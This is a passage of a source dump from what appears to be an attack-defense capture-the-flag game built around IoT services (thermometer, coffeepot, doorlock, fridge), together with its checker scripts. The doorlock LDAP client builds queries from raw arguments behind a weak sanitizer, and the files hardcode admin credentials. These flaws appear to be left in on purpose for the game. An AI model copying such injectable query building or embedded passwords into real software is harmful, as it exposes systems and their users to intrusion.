*args, **kwargs): 65 | return self._check_response(self._session.post(url, *args, **kwargs)) 66 | 67 | def check_page_content(self, response, strings_for_check, failed_message=None): 68 | message = 'Invalid page content at %url' 69 | if failed_message is not None: 70 | message += ': ' + failed_message 71 | if '%url' in message: 72 | message = message.replace('%url', response.url) 73 | 74 | for s in strings_for_check: 75 | self.mumble_if_false( 76 | s in response.text, 77 | message, 78 | 'Can\'t find string "%s" in response from %s' % (s, response.url) 79 | ) 80 | 81 | logging.info( 82 | 'Checked %d string(s) on page %s, all of them exist', 83 | len(strings_for_check), 84 | response.url 85 | ) 86 | -------------------------------------------------------------------------------- /checkers/thermometer/thermometer_module.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import requests 5 | from requests.auth import HTTPBasicAuth 6 | 7 | OK, CORRUPT, MUMBLE, DOWN, CHECKER_ERROR = 101, 102, 103, 104, 110 8 | 9 | def trace(public="", private=""): 10 | if public: 11 | print(public) 12 | if private: 13 | print(private, file=sys.stderr) 14 | 15 | class ThermometerModule: 16 | def __init__(self, host): 17 | self._base_url = 'http://%s:8888/' % host 18 | 19 | def check_index(self): 20 | try: 21 | r = requests.get(self._base_url, auth=HTTPBasicAuth('admin', 'webrelay'), timeout=3) 22 | if r.status_code != 200: 23 | trace("Bad HTTP status code", "Bad HTTP status code: %d" % r.status_code) 24 | return MUMBLE 25 | if "Authorize temperature sensor" in r.text: 26 | return OK 27 | trace("Bad response", "Response html does not contain 'Authorize temperature sensor'") 28 | return MUMBLE 29 | except requests.exceptions.ConnectionError as e: 30 | trace("Connection error", "Connection error at ThermometerModule.index(): %s" % e) 31 | return DOWN 32 | except requests.exceptions.Timeout as e: 33 | trace("Timeout", "Timeout at ThermometerModule.index(): %s" % e) 34 | return DOWN 35 | except Exception as e: 36 | trace("Unknown error", "Unknown request error: %s" % e) 37 | return CHECKER_ERROR 38 | 39 | def authorize_sensor(self, sensor_id, auth_token): 40 | try: 41 | r = requests.post(self._base_url + 'sensors', data = {'sensor': sensor_id, 'token' : auth_token}, auth=HTTPBasicAuth('admin', 'webrelay'), timeout=3) 42 | if r.status_code != 200: 43 | trace("Bad HTTP status code", "Bad HTTP status code: %d" % r.status_code) 44 | return MUMBLE 45 | return OK 46 | except requests.exceptions.ConnectionError as e: 47 | trace("Connection error", "Connection error at ThermometerModule.authorize_sensor(): %s" % e) 48 | return DOWN 49 | except requests.exceptions.Timeout as e: 50 | trace("Timeout", "Timeout at ThermometerModule.authorize_sensor(): %s" % e) 51 | return DOWN 52 | except Exception as e: 53 | trace("Unknown error", "Unknown request error: %s" % e) 54 | return CHECKER_ERROR 55 | 56 | def create_mqtt_client(self, username, password): 57 | try: 58 | r = requests.post(self._base_url + 'clients', data = {'username': username, 'password' : password}, auth=HTTPBasicAuth('admin', 'webrelay'), timeout=3) 59 | if r.status_code != 200: 60 | trace("Bad HTTP status code", "Bad HTTP status code: %d" % r.status_code) 61 | return MUMBLE 62 | return OK 63 | except requests.exceptions.ConnectionError as e: 64 | trace("Connection error", "Connection error at ThermometerModule.create_mqtt_client(): %s" % e) 65 | return DOWN 66 | except requests.exceptions.Timeout as e: 67 | trace("Timeout", "Timeout at ThermometerModule.create_mqtt_client(): %s" % e) 68 | return DOWN 69 | except Exception as e: 70 | trace("Unknown error", "Unknown request error: %s" % e) 71 | return CHECKER_ERROR 72 | 73 | -------------------------------------------------------------------------------- /checkers/thermometer/mqtt_client.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import datetime 5 | import paho.mqtt.client as mqtt 6 | from paho.mqtt.client import connack_string 7 | import time 8 | import signal 9 | 10 | OK, CORRUPT, MUMBLE, DOWN, CHECKER_ERROR = 101, 102, 103, 104, 110 11 | 12 | def trace(public="", private=""): 13 | if public: 14 | print(public) 15 | if private: 16 | print(private, file=sys.stderr) 17 | 18 | class MqttClient: 19 | def __init__(self, host): 20 | self._broker_host = host 21 | self._mqtt_client = mqtt.Client() 22 | self._check_result = DOWN 23 | self._auth_error = 0 24 | 25 | def handle_timeout(self, signum, frame): 26 | trace("Timeout", "Connection timeout.") 27 | raise TimeoutError("Connection timeout.") 28 | 29 | def on_connect(self, client, userdata, flags, rc): 30 | if rc == 0: 31 | self._check_result = OK 32 | self._mqtt_client.disconnect() 33 | else: 34 | trace("Connection to MQTT broker refused", "Connection to MQTT broker refused (code=%d): %s." % (rc, connack_string(rc))) 35 | self._check_result = DOWN 36 | self._auth_error = 1 37 | 38 | def check_connect(self, username=None, password=None): 39 | try: 40 | self._mqtt_client.on_connect = self.on_connect 41 | 42 | signal.signal(signal.SIGALRM, self.handle_timeout) 43 | signal.alarm(4) 44 | 45 | try: 46 | if username != None and password != None: 47 | self._mqtt_client.username_pw_set(username, password) 48 | self._mqtt_client.connect(self._broker_host, 1883, keepalive=10) 49 | self._mqtt_client.loop_forever() 50 | except TimeoutError: 51 | if self._auth_error == 1 and username != None and password != None: 52 | return CORRUPT 53 | return DOWN 54 | except Exception as e: 55 | trace("Connection error", "Connection error: %s" % e) 56 | return DOWN 57 | 58 | if self._check_result != OK: 59 | trace("Timeout", "Timeout at MqttClient.check_connect()") 60 | return self._check_result 61 | 62 | except Exception as e: 63 | trace("Unknown error", "Unknown request error: %s" % e) 64 | return CHECKER_ERROR 65 | 66 | def register_sensor(self, sensor_id): 67 | try: 68 | signal.signal(signal.SIGALRM, self.handle_timeout) 69 | signal.alarm(4) 70 | 71 | try: 72 | self._mqtt_client.reinitialise(client_id=sensor_id, clean_session=True) 73 | 74 | self._mqtt_client.connect(self._broker_host, 1883, keepalive=10) 75 | (ret, mid) = self._mqtt_client.publish("house/authorization", sensor_id) 76 | 77 | self._mqtt_client.disconnect() 78 | 79 | if ret == 0: 80 | return OK 81 | trace("Publish error", "Publish error: %s" % ret) 82 | return MUMBLE 83 | except TimeoutError: 84 | return DOWN 85 | except Exception as e: 86 | trace("Connection error", "Connection error: %s" % e) 87 | return DOWN 88 | except Exception as e: 89 | trace("Unknown error", "Unknown request error: %s" % e) 90 | return CHECKER_ERROR 91 | -------------------------------------------------------------------------------- /services/coffeepot/coffeepot_service/coffeepot/coffeepot.cgi: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Coffee pot, uses HTCPCP protocol (RFC 2324) 4 | 5 | show_form() { 6 | cat main_page.html 7 | } 8 | 9 | show_favicon() { 10 | cat favicon.ico 11 | } 12 | 13 | get_path() { 14 | if [[ "$REQUEST_URI" =~ ^([^?]*) ]]; then 15 | echo "${BASH_REMATCH[1]}" 16 | else 17 | echo "${REQUEST_URI}" 18 | fi 19 | } 20 | 21 | i_am_teapot() { 22 | echo "Status: 418 I am a teapot" 23 | echo "Content-Type: text/plain" 24 | echo 25 | } 26 | 27 | calc_temperature() { 28 | local secs="$1" 29 | local temp="$((20+secs/5))" 30 | 31 | if [[ temp -gt 100 ]]; then 32 | echo 100 33 | else 34 | echo "${temp}" 35 | fi 36 | } 37 | 38 | REQUEST_PATH="$(get_path)" 39 | 40 | if [[ "${REQUEST_METHOD}" == "GET" ]]; then 41 | if [[ "${REQUEST_PATH}" == "/" ]]; then 42 | echo "Content-Type: text/html" 43 | echo "Safe: yes" 44 | echo 45 | show_form 46 | elif [[ "$REQUEST_PATH" == "/favicon.ico" ]]; then 47 | echo "Content-Type: image/x-icon" 48 | echo 49 | show_favicon 50 | else 51 | echo "Status: 404 Not found" 52 | echo "Content-Type: text/html" 53 | echo "Safe: yes" 54 | echo 55 | echo "This is not an offline competition, no coffee for you this time :)" 56 | fi 57 | elif [[ "$REQUEST_METHOD" == "BREW" || "$REQUEST_METHOD" == "POST" ]]; then 58 | if [[ "${REQUEST_PATH}" =~ .*/([^./]+) ]]; then 59 | echo "Content-Type: text/plain" 60 | echo 61 | pot="${BASH_REMATCH[1]}" 62 | if [ -f "pots/${pot}" ]; then 63 | echo EXISTS 64 | else 65 | echo "${HTTP_ACCEPT_ADDITIONS}" | tr ';,' ':\n' > "pots/${pot}" 66 | echo BREWING 67 | fi 68 | else 69 | i_am_teapot 70 | fi 71 | elif [[ "$REQUEST_METHOD" == "PUT" ]]; then 72 | if [[ "${REQUEST_PATH}" =~ .*/([^./]+) ]]; then 73 | echo "Content-Type: text/plain" 74 | echo 75 | pot="${BASH_REMATCH[1]}" 76 | if [ ! -f "pots/${pot}" ]; then 77 | echo NO EXISTS 78 | else 79 | > "pots/${pot}.new" 80 | cat "pots/${pot}" | while read line; do 81 | addition="$(echo "${line}"|cut -d ':' -f 1)" 82 | count="$(echo "${line}"|cut -d ':' -f 2)" 83 | 84 | if [[ "${addition}" != "${HTTP_ADDITION}" ]]; then 85 | echo "${addition}:${count}" >> "pots/${pot}.new" 86 | else 87 | echo "${addition}:$((count+1))" >> "pots/${pot}.new" 88 | fi 89 | done 90 | 91 | # restore modification time 92 | touch -r "pots/${pot}" "pots/${pot}.new" 93 | mv "pots/${pot}.new" "pots/${pot}" 94 | echo ADDED 95 | fi 96 | else 97 | i_am_teapot 98 | fi 99 | elif [[ "$REQUEST_METHOD" == "PROPFIND" ]]; then 100 | if [[ "${REQUEST_PATH}" =~ .*/([^./]+) ]]; then 101 | echo "Content-Type: text/plain" 102 | echo "Safe: yes" 103 | echo 104 | pot="${BASH_REMATCH[1]}" 105 | if [ -f "pots/${pot}" ]; then 106 | cat "pots/${pot}" 107 | # calculate temperature, just emulating 108 | time_now="$(date +%s)" 109 | time_file="$(stat --format="%Y" "pots/${pot}")" 110 | time_diff="$(( time_now - time_file ))" 111 | temperature="$(calc_temperature "${time_diff}")" 112 | echo "Temperature: ${temperature}" 113 | if [[ temperature -ge 95 ]]; then 114 | echo "State: READY" 115 | else 116 | echo "State: BREWING" 117 | fi 118 | fi 119 | else 120 | i_am_teapot 121 | fi 122 | fi 123 | -------------------------------------------------------------------------------- /services/doorlock/include/coap/mem.h: -------------------------------------------------------------------------------- 1 | /* 2 | * mem.h -- CoAP memory handling 3 | * 4 | * Copyright (C) 2010-2011,2014-2015 Olaf Bergmann 5 | * 6 | * This file is part of the CoAP library libcoap. Please see README for terms 7 | * of use. 8 | */ 9 | 10 | #ifndef _COAP_MEM_H_ 11 | #define _COAP_MEM_H_ 12 | 13 | #include 14 | 15 | #ifndef WITH_LWIP 16 | /** 17 | * Initializes libcoap's memory management. 18 | * This function must be called once before coap_malloc() can be used on 19 | * constrained devices. 20 | */ 21 | void coap_memory_init(void); 22 | #endif /* WITH_LWIP */ 23 | 24 | /** 25 | * Type specifiers for coap_malloc_type(). Memory objects can be typed to 26 | * facilitate arrays of type objects to be used instead of dynamic memory 27 | * management on constrained devices. 28 | */ 29 | typedef enum { 30 | COAP_STRING, 31 | COAP_ATTRIBUTE_NAME, 32 | COAP_ATTRIBUTE_VALUE, 33 | COAP_PACKET, 34 | COAP_NODE, 35 | COAP_CONTEXT, 36 | COAP_ENDPOINT, 37 | COAP_PDU, 38 | COAP_PDU_BUF, 39 | COAP_RESOURCE, 40 | COAP_RESOURCEATTR 41 | } coap_memory_tag_t; 42 | 43 | #ifndef WITH_LWIP 44 | 45 | /** 46 | * Allocates a chunk of @p size bytes and returns a pointer to the newly 47 | * allocated memory. The @p type is used to select the appropriate storage 48 | * container on constrained devices. The storage allocated by coap_malloc_type() 49 | * must be released with coap_free_type(). 50 | * 51 | * @param type The type of object to be stored. 52 | * @param size The number of bytes requested. 53 | * @return A pointer to the allocated storage or @c NULL on error. 54 | */ 55 | void *coap_malloc_type(coap_memory_tag_t type, size_t size); 56 | 57 | /** 58 | * Releases the memory that was allocated by coap_malloc_type(). The type tag @p 59 | * type must be the same that was used for allocating the object pointed to by 60 | * @p . 61 | * 62 | * @param type The type of the object to release. 63 | * @param p A pointer to memory that was allocated by coap_malloc_type(). 64 | */ 65 | void coap_free_type(coap_memory_tag_t type, void *p); 66 | 67 | /** 68 | * Wrapper function to coap_malloc_type() for backwards compatibility. 69 | */ 70 | static inline void *coap_malloc(size_t size) { 71 | return coap_malloc_type(COAP_STRING, size); 72 | } 73 | 74 | /** 75 | * Wrapper function to coap_free_type() for backwards compatibility. 76 | */ 77 | static inline void coap_free(void *object) { 78 | coap_free_type(COAP_STRING, object); 79 | } 80 | 81 | #endif /* not WITH_LWIP */ 82 | 83 | #ifdef WITH_LWIP 84 | 85 | #include 86 | 87 | /* no initialization needed with lwip (or, more precisely: lwip must be 88 | * completely initialized anyway by the time coap gets active) */ 89 | static inline void coap_memory_init(void) {} 90 | 91 | /* It would be nice to check that size equals the size given at the memp 92 | * declaration, but i currently don't see a standard way to check that without 93 | * sourcing the custom memp pools and becoming dependent of its syntax 94 | */ 95 | #define coap_malloc_type(type, size) memp_malloc(MEMP_ ## type) 96 | #define coap_free_type(type, p) memp_free(MEMP_ ## type, p) 97 | 98 | /* Those are just here to make uri.c happy where string allocation has not been 99 | * made conditional. 100 | */ 101 | static inline void *coap_malloc(size_t size) { 102 | LWIP_ASSERT("coap_malloc must not be used in lwIP", 0); 103 | } 104 | 105 | static inline void coap_free(void *pointer) { 106 | LWIP_ASSERT("coap_free must not be used in lwIP", 0); 107 | } 108 | 109 | #endif /* WITH_LWIP */ 110 | 111 | #endif /* _COAP_MEM_H_ */ 112 | -------------------------------------------------------------------------------- /services/doorlock/ldap/test-client/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | // based on: https://www.ldap.ncsu.edu/examples/gethomedir.c.txt 6 | 7 | LDAP *ld; 8 | int result; 9 | int auth_method = LDAP_AUTH_SIMPLE; 10 | int desired_version = LDAP_VERSION3; 11 | char ldap_host[] = "localhost"; 12 | char root_dn[] = "cn=admin,dc=iot,dc=phdays,dc=com"; 13 | char root_pw[] = "XfhC57uwby3plBWD"; 14 | 15 | int ldap_simple_bind_s(LDAP *ld, const char *who, const char *passwd); 16 | 17 | void sanitize(char s[]) { 18 | int depth = 0; 19 | for (int i = 0; i < strlen(s); ++i) { 20 | depth += (s[i] == '(') - (s[i] == ')'); 21 | if (s[i] == '*' || s[i] == '~' || s[i] == '\\' || s[i] == '|') { 22 | s[i] = '_'; 23 | } 24 | s[i+1] = depth ? s[i+1] : 0; 25 | } 26 | } 27 | 28 | int validate(char s[]) { 29 | int open = 0; 30 | int close = 0; 31 | for (int i = 0; i < strlen(s); ++i) { 32 | open += (s[i] == '('); 33 | close += (s[i] == ')'); 34 | } 35 | return close == 3 && open == 3; 36 | } 37 | 38 | int main(int argc, char**argv) { 39 | int ret; 40 | 41 | if (argc != 3) { 42 | printf("args: lockId cn\n"); 43 | return 1; 44 | } 45 | 46 | if (ldap_initialize(&ld, "ldap://127.0.0.1:389")) { 47 | printf("ldap_initialize failed\n"); 48 | return 1; 49 | } 50 | printf("ldap_initialize ok\n"); 51 | 52 | int protocol_version = LDAP_VERSION3; 53 | ret = ldap_set_option(ld, LDAP_OPT_PROTOCOL_VERSION, &protocol_version); 54 | if (result != LDAP_SUCCESS) { 55 | printf("ldap_set_option: %d - %s\n", ret, ldap_err2string(ret)); 56 | return 1; 57 | } 58 | printf("ldap_set_option ok\n"); 59 | 60 | /* do an anonymous bind to the server, _s is for synchronous */ 61 | ret = ldap_simple_bind_s(ld, NULL, NULL); 62 | if (ret != LDAP_SUCCESS) { 63 | printf("ldap_simple_bind_s failed: %d - %s\n", ret, ldap_err2string(ret)); 64 | return 1; 65 | } 66 | printf("ldap_simple_bind_s ok\n"); 67 | 68 | char query[512]; 69 | sprintf(query, "(&(cn=%s)(lockId=%s))", argv[1], argv[2]); 70 | printf("LDAP query: '%s'\n", query); 71 | sanitize(query); 72 | printf("LDAP query: '%s'\n", query); 73 | if (!validate(query)) { 74 | printf("validation failed\n"); 75 | return 1; 76 | } 77 | 78 | char *searchattrs[2]; 79 | searchattrs[0] = "cardTag"; 80 | searchattrs[1] = NULL; 81 | 82 | LDAPMessage *results, *entry; 83 | BerElement *ber; 84 | char **vals, *attr; 85 | 86 | ret = ldap_search_s(ld, "cn=locks,dc=iot,dc=phdays,dc=com", LDAP_SCOPE_SUBTREE, query, searchattrs, 0, &results); 87 | if (ret != LDAP_SUCCESS) { 88 | printf("ldap_search_s failed: %d - %s\n", ret, ldap_err2string(ret)); 89 | return 1; 90 | } 91 | printf("ldap_search_s ok\n"); 92 | 93 | entry = ldap_first_entry(ld, results); 94 | if (!entry) { 95 | printf("ldap_first_entry: no results\n"); 96 | return 1; 97 | } 98 | printf("ldap_first_entry ok\n"); 99 | 100 | attr = ldap_first_attribute(ld, entry, &ber); 101 | if (!attr) { 102 | printf("ldap_first_attribute: no attributes.\n"); 103 | return 1; 104 | } 105 | printf("ldap_first_attribute ok\n"); 106 | 107 | vals = ldap_get_values(ld, entry, attr); 108 | if (!vals) { 109 | printf("ldap_get_values: no values.\n"); 110 | return 1; 111 | } 112 | printf("ldap_get_values ok\n"); 113 | 114 | printf("LDAP query result: %s\n", vals[0]); 115 | 116 | ldap_value_free(vals); 117 | ldap_memfree(attr); 118 | if (ber != NULL) { 119 | ber_free(ber, 0); 120 | } 121 | ldap_msgfree(entry); 122 | ldap_unbind(ld); 123 | return 0; 124 | } 125 | -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/models.py: -------------------------------------------------------------------------------- 1 | from django.core import urlresolvers, validators 2 | from django.db import models 3 | from django.contrib.auth.models import User 4 | import djchoices 5 | 6 | 7 | class Refrigerator(models.Model): 8 | owner = models.ForeignKey( 9 | User, 10 | related_name='refrigerators', 11 | on_delete=models.CASCADE, 12 | help_text='Owner of the portable refrigerator', 13 | ) 14 | 15 | title = models.CharField( 16 | max_length=100, 17 | ) 18 | 19 | description = models.TextField() 20 | 21 | image_id = models.PositiveIntegerField() 22 | 23 | def get_absolute_url(self): 24 | return urlresolvers.reverse('refrigerator', args=(self.id, )) 25 | 26 | def __str__(self): 27 | return self.title 28 | 29 | 30 | class Unit(djchoices.DjangoChoices): 31 | Gram = djchoices.ChoiceItem(value=1) 32 | Kilogram = djchoices.ChoiceItem(value=2) 33 | Liter = djchoices.ChoiceItem(value=3) 34 | Box = djchoices.ChoiceItem(value=4) 35 | Package = djchoices.ChoiceItem(value=5) 36 | 37 | 38 | Unit.do_not_call_in_templates = True 39 | 40 | 41 | class FoodType(models.Model): 42 | owner = models.ForeignKey( 43 | User, 44 | related_name='food_types', 45 | on_delete=models.CASCADE, 46 | help_text='Owner of the food type', 47 | ) 48 | 49 | name = models.CharField( 50 | max_length=100, 51 | help_text='E.g., potatoes, milk or carrot', 52 | ) 53 | 54 | description = models.TextField( 55 | help_text='Detailed information about this food type' 56 | ) 57 | 58 | unit = models.PositiveIntegerField( 59 | choices=Unit.choices, 60 | validators=[Unit.validator] 61 | ) 62 | 63 | def __str__(self): 64 | return self.name 65 | 66 | 67 | class FoodItem(models.Model): 68 | refrigerator = models.ForeignKey( 69 | Refrigerator, 70 | related_name='items', 71 | on_delete=models.CASCADE, 72 | help_text='Refrigerator stored this food item' 73 | ) 74 | 75 | food_type = models.ForeignKey( 76 | FoodType, 77 | related_name='+', 78 | on_delete=models.CASCADE, 79 | ) 80 | 81 | count = models.PositiveIntegerField() 82 | 83 | class Meta: 84 | unique_together = ('refrigerator', 'food_type') 85 | 86 | 87 | class Recipe(models.Model): 88 | owner = models.ForeignKey( 89 | User, 90 | related_name='recipes', 91 | on_delete=models.CASCADE, 92 | ) 93 | 94 | title = models.CharField( 95 | max_length=200, 96 | ) 97 | 98 | description = models.TextField() 99 | 100 | added_at = models.DateTimeField( 101 | auto_now_add=True, 102 | db_index=True, 103 | ) 104 | 105 | def __str__(self): 106 | return self.title 107 | 108 | def get_absolute_url(self): 109 | return urlresolvers.reverse('recipe', args=(self.id, )) 110 | 111 | 112 | class RecipeItem(models.Model): 113 | recipe = models.ForeignKey( 114 | Recipe, 115 | related_name='items', 116 | on_delete=models.CASCADE, 117 | ) 118 | 119 | food_type = models.ForeignKey( 120 | FoodType, 121 | related_name='+', 122 | on_delete=models.CASCADE, 123 | ) 124 | 125 | what_to_do = models.TextField() 126 | 127 | count = models.PositiveIntegerField( 128 | help_text='In units for this food', 129 | validators=[validators.MinValueValidator( 130 | 1, 131 | 'You should use at least one unit of food' 132 | )] 133 | ) 134 | 135 | pause_after = models.PositiveIntegerField( 136 | help_text='In seconds' 137 | ) 138 | 139 | class Meta: 140 | unique_together = ('recipe', 'food_type') 141 | -------------------------------------------------------------------------------- /services/fridge/web/templates/layout.html: -------------------------------------------------------------------------------- 1 | {% load staticfiles %} 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | {% block title %}Fridge{% endblock %} 10 | 11 | 12 | 13 | 14 | 15 | {% block body %} 16 | {% block navbar %} 17 |
18 |
19 |
20 |
21 |

About

22 |

23 | Fridge is an innovate web-interface for you home and office fridges. 24 |

25 |

26 | Sign in and register unlimited refrigerators, add information about your food and favourite recipes. 27 | Our service has also special API for automated cook services (see port 9595). 28 |

29 |
30 |
31 |
    32 | {% if user.is_authenticated %} 33 |

     

    34 |
  • Logged as {{ user.username }}
  • 35 |
  • Logout
  • 36 | {% else %} 37 |
  • Login
  • 38 |
  • Create account
  • 39 | {% endif %} 40 | 41 |
42 |
43 |
44 |
45 |
46 | 54 | {% endblock %} 55 | 56 | {% block content %} 57 | {% endblock %} 58 | {% endblock %} 59 | 60 | {% block footer %} 61 | 69 | {% endblock %} 70 | 71 | 72 | 73 | 74 | 75 | 79 | 80 | -------------------------------------------------------------------------------- /services/doorlock/include/coap/coap_time.h: -------------------------------------------------------------------------------- 1 | /* 2 | * coap_time.h -- Clock Handling 3 | * 4 | * Copyright (C) 2010-2013 Olaf Bergmann 5 | * 6 | * This file is part of the CoAP library libcoap. Please see README for terms 7 | * of use. 8 | */ 9 | 10 | /** 11 | * @file coap_time.h 12 | * @brief Clock Handling 13 | */ 14 | 15 | #ifndef _COAP_TIME_H_ 16 | #define _COAP_TIME_H_ 17 | 18 | /** 19 | * @defgroup clock Clock Handling 20 | * Default implementation of internal clock. 21 | * @{ 22 | */ 23 | 24 | #ifdef WITH_LWIP 25 | 26 | #include 27 | #include 28 | 29 | /* lwIP provides ms in sys_now */ 30 | #define COAP_TICKS_PER_SECOND 1000 31 | 32 | typedef uint32_t coap_tick_t; 33 | typedef uint32_t coap_time_t; 34 | typedef int32_t coap_tick_diff_t; 35 | 36 | static inline void coap_ticks_impl(coap_tick_t *t) { 37 | *t = sys_now(); 38 | } 39 | 40 | static inline void coap_clock_init_impl(void) { 41 | } 42 | 43 | #define coap_clock_init coap_clock_init_impl 44 | #define coap_ticks coap_ticks_impl 45 | 46 | static inline coap_time_t coap_ticks_to_rt(coap_tick_t t) { 47 | return t / COAP_TICKS_PER_SECOND; 48 | } 49 | #endif 50 | 51 | #ifdef WITH_CONTIKI 52 | #include "clock.h" 53 | 54 | typedef clock_time_t coap_tick_t; 55 | typedef clock_time_t coap_time_t; 56 | 57 | /** 58 | * This data type is used to represent the difference between two clock_tick_t 59 | * values. This data type must have the same size in memory as coap_tick_t to 60 | * allow wrapping. 61 | */ 62 | typedef int coap_tick_diff_t; 63 | 64 | #define COAP_TICKS_PER_SECOND CLOCK_SECOND 65 | 66 | static inline void coap_clock_init(void) { 67 | clock_init(); 68 | } 69 | 70 | static inline void coap_ticks(coap_tick_t *t) { 71 | *t = clock_time(); 72 | } 73 | 74 | static inline coap_time_t coap_ticks_to_rt(coap_tick_t t) { 75 | return t / COAP_TICKS_PER_SECOND; 76 | } 77 | #endif /* WITH_CONTIKI */ 78 | 79 | #ifdef WITH_POSIX 80 | /** 81 | * This data type represents internal timer ticks with COAP_TICKS_PER_SECOND 82 | * resolution. 83 | */ 84 | typedef unsigned long coap_tick_t; 85 | 86 | /** 87 | * CoAP time in seconds since epoch. 88 | */ 89 | typedef time_t coap_time_t; 90 | 91 | /** 92 | * This data type is used to represent the difference between two clock_tick_t 93 | * values. This data type must have the same size in memory as coap_tick_t to 94 | * allow wrapping. 95 | */ 96 | typedef long coap_tick_diff_t; 97 | 98 | /** Use ms resolution on POSIX systems */ 99 | #define COAP_TICKS_PER_SECOND 1000 100 | 101 | /** 102 | * Initializes the internal clock. 103 | */ 104 | void coap_clock_init(void); 105 | 106 | /** 107 | * Sets @p t to the internal time with COAP_TICKS_PER_SECOND resolution. 108 | */ 109 | void coap_ticks(coap_tick_t *t); 110 | 111 | /** 112 | * Helper function that converts coap ticks to wallclock time. On POSIX, this 113 | * function returns the number of seconds since the epoch. On other systems, it 114 | * may be the calculated number of seconds since last reboot or so. 115 | * 116 | * @param t Internal system ticks. 117 | * 118 | * @return The number of seconds that has passed since a specific reference 119 | * point (seconds since epoch on POSIX). 120 | */ 121 | coap_time_t coap_ticks_to_rt(coap_tick_t t); 122 | #endif /* WITH_POSIX */ 123 | 124 | /** 125 | * Returns @c 1 if and only if @p a is less than @p b where less is defined on a 126 | * signed data type. 127 | */ 128 | static inline int coap_time_lt(coap_tick_t a, coap_tick_t b) { 129 | return ((coap_tick_diff_t)(a - b)) < 0; 130 | } 131 | 132 | /** 133 | * Returns @c 1 if and only if @p a is less than or equal @p b where less is 134 | * defined on a signed data type. 135 | */ 136 | static inline int coap_time_le(coap_tick_t a, coap_tick_t b) { 137 | return a == b || coap_time_lt(a,b); 138 | } 139 | 140 | /** @} */ 141 | 142 | #endif /* _COAP_TIME_H_ */ 143 | -------------------------------------------------------------------------------- /services/thermometer/module/wait-for-it.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | # Use this script to test if a given TCP host/port are available 3 | 4 | cmdname=$(basename $0) 5 | 6 | echoerr() { if [[ $QUIET -ne 1 ]]; then echo "$@" 1>&2; fi } 7 | 8 | usage() 9 | { 10 | cat << USAGE >&2 11 | Usage: 12 | $cmdname host:port [-s] [-t timeout] [-- command args] 13 | -h HOST | --host=HOST Host or IP under test 14 | -p PORT | --port=PORT TCP port under test 15 | Alternatively, you specify the host and port as host:port 16 | -s | --strict Only execute subcommand if the test succeeds 17 | -q | --quiet Don't output any status messages 18 | -t TIMEOUT | --timeout=TIMEOUT 19 | Timeout in seconds, zero for no timeout 20 | -- COMMAND ARGS Execute command with args after the test finishes 21 | USAGE 22 | exit 1 23 | } 24 | 25 | wait_for() 26 | { 27 | if [[ $TIMEOUT -gt 0 ]]; then 28 | echoerr "$cmdname: waiting $TIMEOUT seconds for $HOST:$PORT" 29 | else 30 | echoerr "$cmdname: waiting for $HOST:$PORT without a timeout" 31 | fi 32 | start_ts=$(date +%s) 33 | while : 34 | do 35 | (echo > /dev/tcp/$HOST/$PORT) >/dev/null 2>&1 36 | result=$? 37 | if [[ $result -eq 0 ]]; then 38 | end_ts=$(date +%s) 39 | echoerr "$cmdname: $HOST:$PORT is available after $((end_ts - start_ts)) seconds" 40 | break 41 | fi 42 | sleep 1 43 | done 44 | return $result 45 | } 46 | 47 | wait_for_wrapper() 48 | { 49 | # In order to support SIGINT during timeout: http://unix.stackexchange.com/a/57692 50 | if [[ $QUIET -eq 1 ]]; then 51 | timeout $TIMEOUT $0 --quiet --child --host=$HOST --port=$PORT --timeout=$TIMEOUT & 52 | else 53 | timeout $TIMEOUT $0 --child --host=$HOST --port=$PORT --timeout=$TIMEOUT & 54 | fi 55 | PID=$! 56 | trap "kill -INT -$PID" INT 57 | wait $PID 58 | RESULT=$? 59 | if [[ $RESULT -ne 0 ]]; then 60 | echoerr "$cmdname: timeout occurred after waiting $TIMEOUT seconds for $HOST:$PORT" 61 | fi 62 | return $RESULT 63 | } 64 | 65 | # process arguments 66 | while [[ $# -gt 0 ]] 67 | do 68 | case "$1" in 69 | *:* ) 70 | hostport=(${1//:/ }) 71 | HOST=${hostport[0]} 72 | PORT=${hostport[1]} 73 | shift 1 74 | ;; 75 | --child) 76 | CHILD=1 77 | shift 1 78 | ;; 79 | -q | --quiet) 80 | QUIET=1 81 | shift 1 82 | ;; 83 | -s | --strict) 84 | STRICT=1 85 | shift 1 86 | ;; 87 | -h) 88 | HOST="$2" 89 | if [[ $HOST == "" ]]; then break; fi 90 | shift 2 91 | ;; 92 | --host=*) 93 | HOST="${1#*=}" 94 | shift 1 95 | ;; 96 | -p) 97 | PORT="$2" 98 | if [[ $PORT == "" ]]; then break; fi 99 | shift 2 100 | ;; 101 | --port=*) 102 | PORT="${1#*=}" 103 | shift 1 104 | ;; 105 | -t) 106 | TIMEOUT="$2" 107 | if [[ $TIMEOUT == "" ]]; then break; fi 108 | shift 2 109 | ;; 110 | --timeout=*) 111 | TIMEOUT="${1#*=}" 112 | shift 1 113 | ;; 114 | --) 115 | shift 116 | CLI="$@" 117 | break 118 | ;; 119 | --help) 120 | usage 121 | ;; 122 | *) 123 | echoerr "Unknown argument: $1" 124 | usage 125 | ;; 126 | esac 127 | done 128 | 129 | if [[ "$HOST" == "" || "$PORT" == "" ]]; then 130 | echoerr "Error: you need to provide a host and port to test." 131 | usage 132 | fi 133 | 134 | TIMEOUT=${TIMEOUT:-15} 135 | STRICT=${STRICT:-0} 136 | CHILD=${CHILD:-0} 137 | QUIET=${QUIET:-0} 138 | 139 | if [[ $CHILD -gt 0 ]]; then 140 | wait_for 141 | RESULT=$? 142 | exit $RESULT 143 | else 144 | if [[ $TIMEOUT -gt 0 ]]; then 145 | wait_for_wrapper 146 | RESULT=$? 147 | else 148 | wait_for 149 | RESULT=$? 150 | fi 151 | fi 152 | 153 | if [[ $CLI != "" ]]; then 154 | if [[ $RESULT -ne 0 && $STRICT -eq 1 ]]; then 155 | echoerr "$cmdname: strict mode, refusing to execute subprocess" 156 | exit $RESULT 157 | fi 158 | exec $CLI 159 | else 160 | exit $RESULT 161 | fi 162 | -------------------------------------------------------------------------------- /services/thermometer/sensor/wait-for-it.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 